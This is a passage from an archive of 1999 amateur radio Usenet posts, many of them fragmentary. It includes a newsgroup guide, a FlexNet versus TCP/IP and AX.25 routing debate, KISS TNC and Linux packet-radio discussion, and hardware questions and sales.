So I am going to buy a TNC so I can get DX cluster packet. I have this problem buying the budget model. I like to tinker, like all hams. So what should I buy that will allow me to "try it all" What is the best ? I see Kams for a lot of $$$$ advertised. Is that the cats meow ?

Thanks,

Rich

342. Guide to the rec.radio Newsgroups

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-18 00:00:00 UTC
From: jeffreyh@Hawaii.Edu
Message-ID: <77ulq1$scn@news.Hawaii.Edu>
Source record: 20094
Cross-posted to: rec.radio.amateur.dx,rec.radio.amateur.digital.misc

Archive-name: radio/personal-intro

This message describes the rec.radio.amateur.*, rec.radio.cb, rec.radio.info, and rec.radio.swap newsgroups, as well as their Internet mailing list counterparts and complements. It is intended to serve as a guide for the new reader on what to find where. Questions and comments may be directed to Jeffrey Herman, WH6U, (jeffreyh@hawaii.edu), or Paul Schleck, K3FU, pschleck@novia.net.

This message was last changed on 14 March, 1998.

History
=======

Way back when, before there was a Usenet, the Internet hosted a mailing list for hams, called (appropriately enough) INFO-HAMS. Ham radio discussions were held on the mailing list, and sent to the mailboxes of those who had signed up for it. When the Usenet software was created, and net news as we now know it was developed, a newsgroup was created for hams: net.ham-radio. The mailing list and the newsgroup were gatewayed together, eventually.

Over the years, as the net grew, the volume of discussion became progressively higher. First one by one, and then as part of two reorganizations, what was once one group became many. In the process, developments elsewhere on the net were reflected in the groups as they were created, most notably the change to place all of the ham radio groups in one hierarchy.

The collection of newsgroups continues to grow as more people join the net, and as more topics of discussion gain volume, I expect to see more groups be created as well. This follows what is happening on the rest of the net.

Nearly all of the radio newsgroups have corresponding mailing lists, the notable exception being rec.radio.swap. There are also a few mailing lists that don't have newsgroups.

The Current Groups
==================

It's important to post messages to the group that's appropriate for them, and not to the groups that aren't. The whole idea of having different newsgroups is so that folks who aren't interested in, say, homebrewing, don't have to wade through messages about homebrewing on the way to read about Field Day. Posting appropriately is just good etiquette.

The rec.radio.amateur.misc group is the catchall. It is what rec.ham-radio was renamed to during the first major reorganization. Any message that's not more appropriate in one of the other groups belongs here, from contesting to DX to ragchewing on VHF to information on becoming a ham.

The group rec.radio.amateur.digital.misc is for discussions related to (surprise!) digital amateur radio. This doesn't have to be the common two-meter AX.25 variety of packet radio, either; some of the most knowledgeable folks in radio digital communications can be found here, and anything in the general area is welcome. The name was changed to emphasize this, and to encourage discussion not only of other text-based digital modes, such as AMTOR, RTTY, and Clover, but things like digital voice and video as well. The former group, rec.radio.amateur.packet, was removed on September 21st, 1993. It is obsolete, and you should use .digital.misc instead (or the appropriate new mailing list, mentioned below). The group has .misc as part of the name to allow further specialization if the users wish it, such as .digital.tcp-ip.

The swap group is rec.radio.swap. This recognizes a fact that became evident shortly after the original group was formed: Hams don't just swap ham radio gear, and other folks besides hams swap ham equipment. If you have radio equipment, or test gear, or computer stuff that hams would be interested in, here's the place. Equipment wanted postings belong here too. Discussions about the equipment generally don't; if you wish to discuss a particular posting with the buyer, email is a much better way to do it, and the other groups, especially .equipment and .homebrew, are the place for public discussions. There is now a regular posting with information on how to go about buying and selling items in rec.radio.swap; please refer to it before you post there. To answer a frequently asked question: No, there is no mailing list that goes along with this group. If you can't read Usenet news directly, you're out of luck.

The group rec.radio.amateur.policy was created as a place for all the discussions that seem to drag on interminably about the many rules, regulations, legalities, and policies that surround amateur radio, both existing and proposed. Recent changes to the Amateur Radio Rules (FCC Part 97) have finally laid to rest the Great Usenet Pizza Autopatch Debate - it's now legal to order a pizza on the autopatch, if you're not in the pizza business - as well as complaints about now-preempted local scanner laws hostile to amateurs, but plenty of discussion about what a bunch of rotten no-goodniks the local frequency coordinating body is, as well as the neverending no-code debate, may still be found here.

The group rec.radio.cb is the place for all discussion about the Citizens' Band radio service. Such discussions have been very inflammatory in rec.ham-radio in the past; please do not cross-post to both rec.radio.cb and rec.radio.amateur.* unless the topic is genuinely of interest to both hams and CBers - and very few topics are.

The rec.radio.info group is just what its name implies: it's the place where informational messages from across rec.radio.* may be found, regardless of where else they're posted. As of this writing, information posted to the group includes Cary Oler's daily solar progagation bulletins, ARRL

bulletins, the Frequently Asked Questions files for the various groups, and radio modification instructions. This group is moderated, so you cannot post to it directly; if you try, even if your message is crossposted to one of the other groups, your message will be mailed to the moderator, who is currently David Dodell, WB7TPY. The email address for submissions to the group is rec.radio.info-moderator@primenet.com. Inquires and other adminis-trivia should be directed to rec.radio.info-request@primenet.com. For more information about rec.radio.info, consult the introduction and posting guidelines that are regularly posted to that newsgroup.

The groups r.r.amateur.antenna, .boatanchors, .dx, .equipment, .homebrew, and .space are for more specialized areas of ham radio: discussions about antennas, the older tube based amateur, military, and commercial gear, commercially-made equipment, homebrewing, and amateur radio space operations. The .equipment group is not the place for buying or selling equipment; that's what rec.radio.swap is for. Similarly, the .space group is specifically about amateur radio in space, such as the OSCAR program and SAREX, the Shuttle Amateur Radio EXperiment; other groups cover other aspects of satellites and space. Homebrewing isn't about making your own alcoholic beverages at home (that's rec.crafts.brewing), but rather construction of radio and electronic equipment by the amateur experimenter. The .dx group is devoted to long distance amateur communications. Each of these subgroups has its own charter and FAQ; please refer to the archives to find these documents.

Except for rec.radio.swap and rec.radio.cb, all of these newsgroups are available by Internet electronic mail in digest format; send a mail message containing "help" on a line by itself to listserv@ucsd.edu for instructions on how to use the mail server.

All of the groups can be posted to by electronic mail, though, by using a gateway at the University of Texas at Austin. To post a message this way, change the name of the group you wish to post to by replacing all of the '.'s with '-'s - for example, rec.radio.swap becomes rec-radio-swap - and send to that name@cs.utexas.edu (rec-radio-swap@cs.utexas.edu, for example). You may crosspost by including multiple addresses as Cc: entries (but see below). This gateway's continued availability is at the pleasure of the admins at UT-Austin, and is subject to going away at any time - and especially if forgeries and other net.abuses become a problem. You have been warned.

Mailing Lists

In addition to the mailing lists that mirror the Usenet newsgroups, there also are a few that stand alone. These cover specific areas of ham radio, and discussion is focused on just those areas.

The cq-contest mailing list is for discussions of contesting in ham radio. To join, send email with the word "subscribe" on a line by itself to cq-contest-request@tgv.com.

The DX mailing list covers the finer points of DXing. This one is also joined by mailing "subscribe" on a line by itself, this time to

dx-request@unbc.edu.

There's also a VHF mailing list, for VHF operators of the weak signal persuasion. You can join this one be sending "subscribe vhf" on a line by itself to vhf-request@w6yx.stanford.edu.

The QRP-L list is devoted to building and operating gear at low-power outputs. To subscribe, send an email to listproc@lehigh.edu and only write: subscribe qrp-l Your Name.

The TopBand e-list is devoted to all areas of operation on 160m. To subscribe, send an email to majordomo@contesting.com and only write: subscribe topband and follow the instructions you'll be sent.
This site, contesting.com, also hosts a couple dozen other ham-related e-lists. Use the above address, and only write: lists to get the entire index.

The Boatanchors e-list is devoted to the older tube-based ham, military, and commercial communications gear. To subscribe, send an email to: listserv@listserv.tempe.gov and only write: subscribe boatanchors

For homebuilding transmitters and receivers using tube technology, there is the Glowbugs e-list; send an email to: majordomo@piobaire.mines.uidaho.edu and only write: subscribe glowbugs <your@address.here>

The VHF DX discussion list can be accessed by sending an email to: majordomo@blacksheep.org and only writing: subscribe VHF-DX-discuss.

We now have a list devoted to amateur radio history. To subscribe, send an email to: ham-radio-history-subscribe@egroups.com - leave the body of the message blank.

Qth.net hosts over 100 ham-related e-lists, including lists devoted to each state, manufacturer, mode, band - too many to state here. Send an email to majordomo@qth.net and only write: lists to get the complete index.

For one of the most complete indexes of email lists, see the excellent web site http://pw2.netcom.com/~ac6v/pageae.html

Please do NOT send subscription requests to the mailing lists themselves; that doesn't work very often, and is very annoying to those on the list. Also, please keep your electronic mail address current with any mailing lists you subscribe to, as dealing with returned email is a nuisance for the person maintaining the mailing list.

A Few Words on Crossposting
==========

Please do not crosspost messages to two or more groups unless there is genuine interest in both groups in the topic being discussed, and when you do, please include a header line of the form "Followup-To: group.name" in your article's headers (before the first blank line). This will cause followups to your

article to go to the group listed in the Followup-To: line. If you wish to have replies to go to you by email, rather than be posted, use the word "poster" instead of the name of a group. Such a line appears in the headers of this article.

One of the few examples of productive cross-posting is with the rec.radio.info newsgroup. To provide a filtered presentation of information articles, while still maintaining visibility in their home newsgroups, the moderator strongly encourages cross-posting. All information articles should be submitted to the rec.radio.info moderator so that he may simultaneously cross-post your information to the appropriate newsgroups. Most newsreaders will only present the article once, and network bandwidth is conserved since only one article is propagated. If you make regular informational postings, and have made arrangements with the moderator to post directly to the group, please cross-post as appropriate.

Thank you Rob! You are the first one here that contributes with a
technically correct explanation, why KISS should be avoided. I hope,
this will make
clear, why KISS is not supported in FlexNet as a protocol for TNCs.

> A Baycom modem provides this coupling, a KISS TNC does not.

==========
> DK7WJ to put his effort in writing a really optimal SCC card driver so
> that everyone can have the good channel control that he likes to have)

This is *not* true. The driver (XSCC by Henk de Groot, PE1DNN) is on the
official FlexNet download page
(http://dl0td.afthd.tu-darmstadt.de/~flexnet/modules.html).
The author said it is "Beta-test software", thats all there is.
Of course nobody says it is "badly written" - who told you
that?
BTW: only a few of the L1 drivers for PC/FlexNet are written by DK7WJ
himself, most of them are written by others (HB9JNX, DL8MBT, DG1SCR,

DG2FEF).
This is not a problem, as the specification for the L1 drivers are
available.

Gunter canï¿½t write a SCC driver, as he doesnï¿½t own an SCC card.
Furthermore
here we actually have the specification available. You all want the
specification for the FlexNet autorouter implying that Gunterï¿½s
implementation
isnï¿½t good enough - now you have the specification for the L1 and now
you
are saying: the spec is nice, but *please* let DK7WJ do the driver, as
software
written by others doesnï¿½t work.... What do you want?

FlexNet was first released 10 years ago - for the RMNC, a 6809 based
special
AX25 network controller. The DOS version became publically available I
think in
1994 - maybe even 1993.

>
> I'll let you in on a secret: the reason why flexnet will never be released
> in source
> form, is that most of the ax.25 and basic algorithms were lifted directly
> out of
> previous packet software, and merely modified (hacked) to its present form.

Of course I ï¿½m only guessing as I donï¿½t have the source code, but why
should
you copy something from other software, if your intention was to build
something
better? FlexNet does so many things completly different from other AX.25
software
it is hard to believe Gunter really did that.

1. FlexNet was the first implementation of a virtual circuit router - in
contrast
to Netrom and TCP/IP, that are datagram routers
2. The first implementation was for a 6809 Flex system (thatï¿½s why it is
called
FlexNet), then some other guys here developed the RMNC and by
coincidence used the
6809, too.
So the first L1 driver was for a 6809 together with a 8530 SCC. From
whome should
he have copied that? TNC1?

> systems for IP routing)

I do and I understand this is a way to do it. But TCP/IP is in our
opinion here
only 1 possible procotol. So we keep that seperated.

>
> What would be good (and what we have here) is a system of nodes where

Thatï¿½s what we want, too. Currently we achieve that using Linux boxes
with
fully configured IP routers. Unfortunatly it still takes a lot of work
for the
sysop to keep the IP routes "up to date"...

>
> With a small table, the IP packets for different directions are sent

> would use one Flexnet circuit to send the IP packets directly from here
> to there. But that structure would require the large table I mentioned.

As long as this table is kept at the IP routers site and automatically
updated, I think it is a good solution. Remember we still have to solve
the

problem, that users may change their favourite digipeater or move. So
you
canï¿½t use the inherent hierachical routing in TCP/IP using the
netmask....

> I have posted about my project a week or two ago in this thread, but nobody
> has reacted. I can re-post the message if you like.

Yes, please. We are still interested in solving the problem.

> In fact, an IP router should be easier than an AX.25 router. IP addresses,
> when cleverly assigned, can be used in a hierarchical way. AX.25 callsigns
> must be put in a table one by one.

I doubt that you can use the hierachy. Or you would have to dynamically
assign
IP addresses - which would be an option but incompatible with any xNOS I
know of.

> Flexnet has solved that problem by using a closed architecture and no
> settable parameters, and this method can be used with both AX.25 and IP.
> When one can set the AX.25 callsign, one should be able to set the IP
> address as well.

If we manage that for IP - that would be great. TCP/IP becomes very
popular now
here in Germany and I see many sysops unable to configure their
digipeater systems as they donï¿½t no anything about TCP/IP. And I think
this
is a problem - they should not need to understand it. But currently we
are lightyears away from that IP router system here in Germany.

> resort.

I doni¿½t agree. And Ii¿½m not alone. See for example Feldmeier et al:
"Protocol Boosters",
IEEE SAC-16(3) "Protocol Architectures for 21st Century Applications",
pp. 437-444, 1998.
Among other things they suggest selective ARQ on "bad" links. TCP can
only do go-back-N retransmission (selective ARQ is implemented in
FlexNet using the "frame collector"). They also suggest to throw away
unneeded ACKs and to interfere with TCPs ARQ by "...shortening the
retransmission path" - or "tinkering" with the higher layer as you would
put it.

Ii¿½d like to quote the above mentioned article:
"... This indepandance (layering) has advantages and disadvantages.
Violating artificial layer boundaries allows higher performance.
Implementations using
"integrated layer processing", for example, avoid unnecessary copying.
Violating
layering also avoids other duplicated functionality. For example, if the
transport
layer protocol provides error control (e.g., TCP), the link error
control may do unnecessary retransmissions...
When data are sent over a noisy link, for example, some data streams,
such as those
carrying audio, may desire low delay, even if some errors occur. Other
data streams
may desire a low residual error rate, even at the expense of increased
delay. No single link layer protocol can satisfy both needs. In
contrast, a procotol booster could ignore all UDP connections or boost
only specific applications (as determined by TCP/UDP port numbers)."

Keep in mind that our "network recources" are 1. low bandwidth
(typically 9k6), 2.
very noisy (wireless links) and 3. we already have a good L2/L3 (if you
look e.g. at
FlexNet).

Sorry, Iï¿½m an engineer and not a computer scientist, so my premier
concern
is PERFORMANCE not OSI/ISO layering.

>
> I also want to re-emphasize that L2 should only act across one hop.
> It should never attempt to be multihop. That's not its role. That's the
> role of the L3 protocol.

If you use VC, you usually already have a good L3 protocol - suited to
the wireless
channel. Nobody wants to go back at those times without hop-to-hop
acknowledge between
digipeaters. So multihop is no problem.

Source record: 20104

I've seen some good answers in this newsgroup, so I'll ask you all.

Proxim Symphony RF LAN cards are spec'd for a range of 300 feet outdoors. Each comes with an omnidirectional antenna and outputs 100 mW (I think). My question is could I use a directional antenna instead to increase the range between two links that I would use as a bridge between two wired LANs? If so how much of an increase is possible?

Thanks for any help,

Wayland Reid

353. BPSK demodulator?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-18 00:00:00 UTC
From: hinermad@my-dejanews.com
Message-ID: <77vnnm$t22$1@nnrp1.dejanews.com>
Source record: 20105

Can anybody direct me to a circuit to demodulate BPSK? I've seen several programs to do it (COHERENT comes to mind) but I'd like a hardware solution if possible. Thanks!

Dave

Not much. Compare the functionality of the LINUX AX25 to the FlexNet AX25 stack. .. It's like comparing an old 1974 Plymouth Duster to a new Dodge Viper. Technically, the "Duster" is a car, but that does not mean that it compares to the Viper.

I guess you can compare the LINUX AX25 to FlexNet if you like. That's as good a way to promote FlexNet as any I've heard so far. Please continue to do so!

I am interested in what I read about Packet and Linux at:
http://www.ife.ee.ethz.ch/~sailer/ham/linux/hf.html

Can someone advise me what the minimal configuration
PC is that will properly support this and other common
Linux applications?

I am also wondering if this methodology captures the PC
like the DOS methods, thus rendering the PC useless for
other activities until the Packet application has been closed.

Thanks! & 73,

I would also be interested in this but, I'd personally would prefer a
USB to multi-serial ports. i.e. 8 serial ports from 1 USB port. Greta
for all the COM port hungary radio logging software.

I've run out of IRQs!!

>Linux applications?

That depends a bit on what applications you need. You will need at least a 386sx, but will probably want a bit more CPU power. If you have everything text-based, you can get by with 4-8 MB of RAM and maybe 50-80 MB or less of disk space. You can run on less, but installation may be difficult and you probably won't be able to compile, etc. For X-Window applications, 16 (or even 32 MB RAM would be better. The size of your hard drive will be a function of how much software you want to install, just as with Windows.

In addition to the Intel x86 architecture, there are several others supported by Linux: Sparc, Alpha, StrongARM, PPC, 680x0, etc.

Not at all, Linux multitasks very well. Of course the more simultaneous tasks you run, the more memory you will wish to have (otherwise, processes will be swapped to disk, which slows things up).

Bob

Well, technically speaking, I believe "latency" and "control"
are equivalent in this context. KISS offers indeterminate
latency.

362. HELP!!!! ax25/ip on linux

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-18 00:00:00 UTC
From: Andy Adams <jadams@SPAM.ME.NOT.texoma.net>
Message-ID: <36A38DFC.6EF4ADA3@SPAM.ME.NOT.texoma.net>
Source record: 20114

HELP!!!!!!!!
I'm trying to use a KISS TNC as a network device on linux. I have recompiled the kernel to include ax25 and kiss support, but I can't get the configuration tools to compile. I downloaded the source ax25-utils-2.1.42a.tar.gz. Are these the tools I need? Is this the latest version? The compile gives lots of errors complaining about /usr/include/linux .h files. I have tried using version 2.2.0-pre7, 2.1.131, and 2.1.42 .h files, but with no luck. What can I do to get the tools to compile, or where can I download binaries?
My box is redhat5.1 running a 2.2.0-pre7 kernel.
Also does anybody know exactly what the purpose is for the *character* kiss device (major 55 on my machine). Does this behave like a serial port? Can you use getty on it and do a regular login over ax25? I assume you still need the configuration tools to setup your tnc to use this device.

ANY help would be greatly appreciated

There are a number of USB-to-serial interfaces available - saw one
recently that gives you 8 serial ports from a single USB port, with
not a dedicated IRQ in the bunch.

They're not cheap - here's a place that indexes many online vendors by
price; search this page for USB and you'll turn up several boards...

http://www.shopper.com/idx/INPUT_DEVICES/PARALLEL___SERIAL_ADAPTERS/3_TO_7_PORTS/

Sure, I can set up a 9600 baud Packet modem right now.

Buy a Tigertronics 9.6kb modem, which plugs into a parallel port. Buy a Parallel port adapter for USB ports. (I've seen them at Wal-Mart.) Hook up the adapter, install the modem.

Do this and you'll be the first Ham to run Packet off of a USB port. Set aside a place for yourself in history!

You wanted an example of free, open software benefitting radio amateurs. I
gave you one. It wasn't key to my argument, since I think open source DOES
have some benefit regardless of application field, but there is at least one
example for you to chew on.

Your "rebuttal" that hams use only what must be viewed as rather "outdated"
hardware does nothing to rebut anything I've said about free software.
Indeed, it basically illustrates that you are completely ignorant of
important developments in software and hardware.

Boy, that comes as a big surprise...

> >Can individual programmers do great things? Sure, there is almost always a

>
> You can't do that for yourself? Sorry to hear that.

I would never be so arrogant as to say that I know the best way to create
large scale wireless networks. Would you?

[The rest of Charles' post deleted, it's so full of crap it's best just to
cut to the chase.]

This will be my last post in this thread. I've tried to illustrate how free software can be good for amateur radio. Frankly, I find it hard to believe that anyone can really argue that it isn't. So be it. It isn't Charles who I'm trying to convince anyway, since Charles hasn't and has no intention of trying to actually do anything to improve the state of amateur networking.

I urge anyone interesting in writing free software to consider releasing source code, to promote the modification and use of their software, to take time to document protocols and encourage experimentation. It _is_ a good methology, and has the opportunity to make real changes in amateur radio.

We now return you to your regularly scheduled ranting...

Mark

Take a look at the source code at:
http://www.geocities.com/ResearchTriangle/Facility/7646/index.html

This guy is using Visual Basic to make the Windows Multimedia API calls, then passing the sampled audio data to his custom DLL. Use his VB code, or make the same calls in C, to get the samples, then use DSP or whatever to demodulate the signal.

There are also books on using the Windows API if you need to know more or want to understand what the calls are doing. Once you get the audio samples, the fun part is the decoding. The source code above takes the signal off the FM discriminator from a scanner. This signal is xmitted using FSK, so the audio data is actually the demodulated data. You just have to decide whether it's a one or zero, then clock the data at the right time. his DLL does all the dirty work since VB is so slow.

RTTY and others take a little more work since you have to detect tones or phase shifts. This makes the decoding more fun. Once I get something working enough not to be embarassing, I might make the code available.

Good Luck,
Bill

Subject: CAT cable

Anybody know what cable to use with the Yaesu FT-840 for its CAT
interface? I know it is a 6 pin mini-din, but is it a straight
cable,or whatever? Can I just use a 6 pin mini cable from an apple
computer for this?

And if there aren't 2 FlexNet digipeaters in your area, what then???

And since the source code, or even the specs, aren't published, then I think
another question that should be asked is... Is FlexNet Y2K-compliant, or are
all these wonderful nodes going to crash on 1/1/2000?

Strange you didn't get a response. Timewave is usually pretty good.

Try Ross Distributing at www.rossdist.com. I think I saw some of the cables you need in his long listings last month, but a phone call would confirm it. If they're the ones I'm thinking of, they were about 5 bux each or so.

From: mfccoder@aol.com (MFCCoder)
Subject: WANTED: CRACKS/SERIALS/KEYGENS FOR HAM RADIO WAREZ!!

Let me take another approach to this.

Why do you feel that not paying for software is legitimate? Are you not aware of how complex it is to develop good, useable software? Are you aware of the time it takes once development is started, to test and refine the program, so the minumum amount of 'bugs' go out with the program? Are you not aware that a software company provides jobs to hams and other people in the country? Are you not aware that if a piece of software is not paid for, that it adds up to an amount that a company could hire more people, to take the load off of the current staff, and create higher quality software?

Maybe you're just unaware of the long term results of what you and others do when you don't pay for software.

This radio is brand new.... OK, I took it out of the box and played with it. It's not going to fit my style of operation for an HT. I thought I could live without dual UxU receive, but I cant!.

So, someone is going to get a deal. They are going for anywhere from $450 - $475. I got a good deal on it to start with so I'll let it go for $400 + Shipping.

I'd prefer to conduct a local deal, if you are in the Atlanta area and would like to contact me, please do so, if you are interested from other parts of the country, reply via email and we'll see if we can work out a deal.

Serious inquiries only!

Thanks,
Alan

Does anyone know of a project (or the feasibility of a project) to build a USB TNC and/or modem? Seems to me that if there are monolithic chip-sets for USB implementation, one could pull something together.

Thoughts?

Hello Ralph:

The PK-232 radio cables (5-pin flat on one end and blank) on the other are
$7.50 each from Timewave technology. S/H is $5.

>FlexNet using the "frame collector").

This is not true. TCP implementations on amateur radio provided a
"frame collector" before the AX.25 guys came up with one. The principle
is the same, and it does not need the extra hacks because the sequence
number space in TCP is much larger than the window.

TCP has another advantage over AX.25: a retransmission need not be the
same packet as the original. When someone typed a line of text and it
is transmitted, and by the time the retransmission timer times out he
has typed another line of text, the retransmission can include both
lines in a single packet. This cannot be done with AX.25 because it
only numbers the packets, not the bytes in the packets (as TCP does).

>> I also want to re-emphasize that L2 should only act across one hop.
>> It should never attempt to be multihop. That's not its role. That's the

>If you use VC, you usually already have a good L3 protocol - suited to
>the wireless
>channel. Nobody wants to go back at those times without hop-to-hop
>acknowledge between
>digipeaters.

I do not agree with that. I think the reliability problem should be
considered separately for each hop, and when a link is very good there
is no need to do ARQ on that hop.
This also opens the possibility of using unidirectional links, something
that Flexnet cannot support but can be done in an IP network.
These can be used both intentionally (e.g. a unidirectional link from
one node to multiple neighbor nodes, with another method for the return
traffic) an in case of failures (when a link fails in one direction it
can still be productively used in the other direction)

markv@pixar.com <markv@pixar.com> wrote:
>You might not like it, but the Linux AX.25 implementation works rather well.

I question that. Last time I looked, it suffered from the KISS problem.
I.e., like the original KA9Q package, it has an AX.25 engine in the kernel
that only drives a transmit queue it has no control over, and listens on
a receive queue. It has no way (unless this has recently changed) to look
at what is actually happening with the packets the engine transmits.

This is not good. And it was not done that way in the original TNC
firmware. The AX.25 engine really needs some feedback from the low level
drivers to know at least about channel activity (DCD status) but preferably
it also has a report-back of the physical transmission of a packet is has
sent.

This is done to support KISS TNC's, but it is bad that no advantage is
taken of the better control that can be provided when an SCC card or a
"software modem" (soundcard, baycom) is in use.
(experimental DCD report back is there but as far as I can see it is not
used)

An even better design would work like this:
- AX.25 engine signals that it would like to transmit something
- lower level driver tries to get the channel (using whatever method is
in use, can be CSMA or DAMA)
- driver sends the required leading flags
- driver tells to AX.25 engine it is ready to transmit a packet
- AX.25 engine hands packet to transmit to low level driver
- low level driver sends packet and calls back to AX.25 engine when it
is done.
- AX.25 engine decides whether to give another packet to transmit, or
to instruct low level driver to key down
- after last packet, low level driver sends trailer and keys down.

This may look like an unwanted intertwining of layers, but it really is
required to follow the AX.25 spec in detail and to operate as efficiently
as possible. This design avoids running timers while packets are still
sitting on a queue, and also it allows modification of the packet actually
being sent until the moment it goes on the air.
For example, while waiting to send a packet, the channel may be occupied
by the station you are communicating with, and it may be be sending a
packet to YOU. In that case, you will want to modify the V(r) field in
the packet to reflect the last sequence number you heard from him at the
last possible moment, so that the outgoing packet piggybacks an ACK.
Also, it may be that you receive an acknowledgement for the packet you
just planned to send. This may even lead to a cancellation of your plan

to transmit.

6PACK allows such an interface while using an external TNC. SCC and software-modem drives can do it inside the kernel drivers for them. Only a KISS TNC cannot use this more efficient AX.25 engine, so a separate copy of the old driver should be retained for users of KISS TNC's.

In my opinion, such a modification of the AX.25 code is really required before Linux is a real contender for efficient packet operation.

>The author said it is "Beta-test software", thats all there is.
>Of course nobody says it is "badly written" - who told you
>that?

You misread the sentence. I was talking about the USCC driver. I have
asked people of the Flexnet group why it was written in such a way that
it only supports USCC cards, instead of allowing more configurability of
the I/O port addresses and thereby use on a lot more cards. The reply
was that when I wanted to support other cards I should write a driver
from scratch. When I tried to dig deeper (why would one tie a driver
for the Z8530 chip only to a single board that one of the members happens
to sell commercially) the answer more or less was that I would not want
to see that driver because it was a mess, and nobody would want to adapt
it to more than the USCC card.

As I have written an SCC driver myself, I know that 99% of the code is
completely independent of the actual card in use, and that it is easy
to support many different cards just by allowing the external specification
of the I/O ports. My driver of course supports the USCC card.

>BTW: only a few of the L1 drivers for PC/FlexNet are written by DK7WJ
>himself, most of them are written by others (HB9JNX, DL8MBT, DG1SCR,
>DG2FEF).
>This is not a problem, as the specification for the L1 drivers are
>available.

It is a pity that one would need to re-make a driver just because the
existing drivers are locked to hardware the group happens to sell.

>Gunter canï¿½t write a SCC driver, as he doesnï¿½t own an SCC card.

Gunter was given a PA0HZP OptoPcScc SCC card when he first demonstrated
a pre-beta version of Flexnet software running on a PC, for purposes of
writing and testing a driver for it. The original 6809 design had an
SCC as well, so an SCC driver could probably mostly be copied from that.
We considered Gunter himself the best to write an officially supported
driver for SCC cards on the PC.
Unfortunately he never came up with a driver... and of course we cannot
force him to make one. It just would have been reasonable.

>Furthermore
>here we actually have the specification available. You all want the
>specification for the FlexNet autorouter implying that Gunterï¿½s
>implementation
>isnï¿½t good enough - now you have the specification for the L1 and now
>you
>are saying: the spec is nice, but *please* let DK7WJ do the driver, as
>software
>written by others doesnï¿½t work.... What do you want?

It was Gunter's own assessment that the driver was not good, and he used
it as a reason not to further update it. I am not saying that drivers
written by others are not good (although this is sometimes true; look
at the SCC driver in Linux: a ripoff of my SCC driver but with many bugs
that my driver did not have), but I think it is a serious omission to
release a package for AX.25 on the PC and not providing a driver for the
best available hardware solution.

This would be like Microsoft releasing Windows without a PS/2 mouse
driver, providing only a serial mouse driver, and publishing a driver
spec saying "when you have a PS/2 mouse please write your own driver"...

Driver specs are nice because they allow manufacturers of innovative
hardware to interface them with your system, but the main release of
the software should come with drivers for the most common hardware.

In my opinion it is better to use IP as a lower level, and see AX.25
only as 1 possible protocol and keep that separated...

>> What would be good (and what we have here) is a system of nodes where

>fully configured IP routers. Unfortunatly it still takes a lot of work
>for the
>sysop to keep the IP routes "up to date"...

Ah, that is what I mean with "it is not without problems" (as I explained).

Also, I think that it is a waste of our scarce resources to setup a
network using one technology (singleboard systems) and then put a PC
alongside to provide the remaining functions. Long ago, we saw that
one cannot beat the price and availability of PC motherboards and cards,
and that it would be futile to try to design something yourself which
would need to be more versatile.
So, a PC motherboard with a couple of SCC cards is our node computer,
and it can run DOS or Linux by itself. Providing the routing of both
AX.25 and IP.
When a Flexnet implementation for Linux would be available, that would
probably be running on our nodes.

>> With a small table, the IP packets for different directions are sent
>> to a system roughly the right way, and the underlying Flexnet network

>netmask....

I have solved that problem before, and I can publish the technology used
for it. In my software, a user can move from one node to another (maybe
two or three hops away) and all the routing tables in the vicinity are
automatically updated to facilitate routing of this single IP address.
It is just a multicast protocol saying "hey, I am here, not at the router
where the subnet I am in would be routed by default", and the routers
update their tables accordingly.

>> I have posted about my project a week or two ago in this thread, but nobody
>> has reacted. I can re-post the message if you like.

>Yes, please. We are still interested in solving the problem.

Ok I will post it as a separate followup to this article.

>> In fact, an IP router should be easier than an AX.25 router. IP addresses,
>> when cleverly assigned, can be used in a hierarchical way. AX.25 callsigns
>> must be put in a table one by one.

>I doubt that you can use the hierachy. Or you would have to dynamically
>assign
>IP addresses - which would be an option but incompatible with any xNOS I
>know of.

Don't confuse the detail problems (local routing, can be solved as
explained above) with the global problems that face a large-area router.
When I want to route an IP packet to Switzerland or Italy, I don't need
an entry for each and every node in Switzerland or Italy to do that. I
can just look at the first bits of the IP address and decide to ship
it in the right direction. (depending on the content of the routing table)
The Flexnet router cannot do that; it needs a table with all nodes it can
possibly send packets to. This is due to the use of AX.25 callsigns
instead of hierarchical addresses.

(one can argue that it would even be possible with AX.25 callsigns, but
that would fail to be very productive in large countries)

>> Flexnet has solved that problem by using a closed architecture and no
>> settable parameters, and this method can be used with both AX.25 and IP.
>> When one can set the AX.25 callsign, one should be able to set the IP
>> address as well.

>digipeater systems as they doni¿½t no anything about TCP/IP. And I think
>this
>is a problem - they should not need to understand it. But currently we
>are lightyears away from that IP router system here in Germany.

But that is because you made such a late start!
We started using TCP/IP in 1987 and have a lot of experience. The
first IP routing nodes in the Netherlands (I mean real nodes part of
the NET/ROM network, not systems at people's home) were in place in
1989.
In those days, German amateurs thought that TCP/IP was synonymous to
FTP of large binary files, and it was something that had to be banned.
Node sysops were "excluding" callsigns when they were detected using
TCP/IP.
Because we never had this attitude, there is a quite large community
of users that use TCP/IP software on a DOS PC, and use telnet and ftp
instead of connect and //wr. So, a lot more users know a bit about
IP addresses and other parameters appearing in a TCP/IP system. It is
even true that some people have learned *a lot* about TCP/IP when they
saw it in slow-motion operation on their amateur packet systems, and
today use this knowledge at their jobs, where TCP/IP has also appeared.
They have a vision about what is really happening on the networks that
many textbook experts don't have!

What you see now is the extreme popularity of Internet and thus the
introduction of usable applications based on TCP/IP. This attracts a
second wave of users, who run Windows95 or Linux. Those users may
need a different service from the network than the old guys did.
They like to have DNS, HTTP servers, IRCd, etc.
Maybe they sometimes even could use DHCP (although I am not a fan of
dynamic address assignment because I think it is best for client-only
systems, something which amateur packet stations often are not).

When it is possible to let the average dad hookup to Internet, it should
be possible to let the average ham hookup to an IP node, and let the
slightly-above-average ham install one.

Flexnet indeed provides only routing for plain AX.25. It uses a flat
namespace of AX.25 callsigns, and a sink tree algorithm to build a
routing table that defines the route to every destination in the network.
This does not scale very well, as everyone on a large Flexnet network
can see: the destinations list is just a long, long list of callsigns.
It would be much more efficient if it could bundle routes to destinations
that are roughly in the same area and would be routed mostly via the
same path, but this is not possible because AX.25 callsigns do not
provide the information for such route aggregation (as IP addresses do).

It is possible to route IP via a flexnet network, but only by tunneling
the IP packets in an AX.25 connection. The network nodes themselves do
not route IP, only AX.25 callsigns.
This means that each system on the network that wants to route IP needs
to have a large table with IP addresses and associated AX.25 callsigns.
In NOS terms: a fixed routing table and a set of fixed ARP entries for
each IP destination in the table. When an IP packet is to be shipped,
it is put on an AX.25 circuit to the desired AX.25 endpoint. The flexnet
